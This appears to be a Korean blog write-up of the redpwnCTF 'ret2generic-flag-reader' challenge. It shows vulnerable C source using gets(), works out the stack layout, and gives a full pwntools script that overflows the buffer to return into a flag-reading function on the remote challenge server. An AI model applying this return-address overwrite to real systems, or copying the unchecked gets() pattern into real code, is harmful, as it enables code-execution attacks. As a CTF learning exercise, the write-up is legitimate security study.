728x90
반응형
이번에는 ret2generic-flag-reader 문제를 풀어보자.
일단 아래의 C코드를 확인해보자.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void super_generic_flag_reading_function_please_ret_to_me()
{
char flag[0x100] = {0};
FILE *fp = fopen("./flag.txt", "r");
if (!fp)
{
puts("no flag!! contact a member of rob inc");
exit(-1);
}
fgets(flag, 0xff, fp);
puts(flag);
fclose(fp);
}
int main(void)
{
char comments_and_concerns[32];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts("alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable...");
puts("how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!");
puts("slap on some flavortext and there's no way rob will fire me now!");
puts("this is genius!! what do you think?");
gets(comments_and_concerns);
}
flag값을 불러는 오는데 main에서 실행은 하지 않는다.
일단 먼저 베이스정보를 확인해보자.
일단 checksec로 확인한 결과 위처럼 나온다.
그러면 ret에 super_generic_flag_reading_function_please_ret_to_me의 주소를 넣어서 출력을 하면 된다.
일단 스택을 생각해보면,
comments_and_concerns[32]
SFP[8]
RET[8]
위처럼 나온다.
위 스택을 확인하기 위해서 A 48바이트를 넣어보자.
예상대로 bof가 발생하여 Segmentation fault가 나오는것을 확인할 수 있다.
return할 super_generic_flag_reading_function_please_ret_to_me 주소를 확인해보자.
위처럼 함수주소를 확인하면 0x00000000004011f6에 있는걸 알수있다.
그러면 이제 exploit code를 짜보자.
from pwn import *
p = remote("mc.ax",31077)
exe_flag = 0x00000000004011f6
"""
ret [8] (write func that show flag after write 40bytes)
sfp [8]
bof[32]
"""
payload = b"\x90"*40
payload += p64(exe_flag)
p.recvuntil("think?")
p.sendline(payload)
print(p.recvuntil("}")) #flag format :flag{}
위 코드를 보면 nop을 40바이트 넣고 return주소를 exe_flag주소로 채운다.
그리고 이제 payload를 보내기위해 puts되는 문자열을 받고 payload를 보낸다.
728x90
반응형
'CTFs' 카테고리의 다른 글
redpwnCTF - secure (0) | 2021.07.25 |
---|---|
redpwnCTF - orm-bad (0) | 2021.07.25 |
redpwnCTF - beginner-generic-pwn-number-0 (0) | 2021.07.25 |
S.H.E.L.L ctf - under Development (0) | 2021.06.07 |
S.H.E.L.L CTF - haxxor (0) | 2021.06.06 |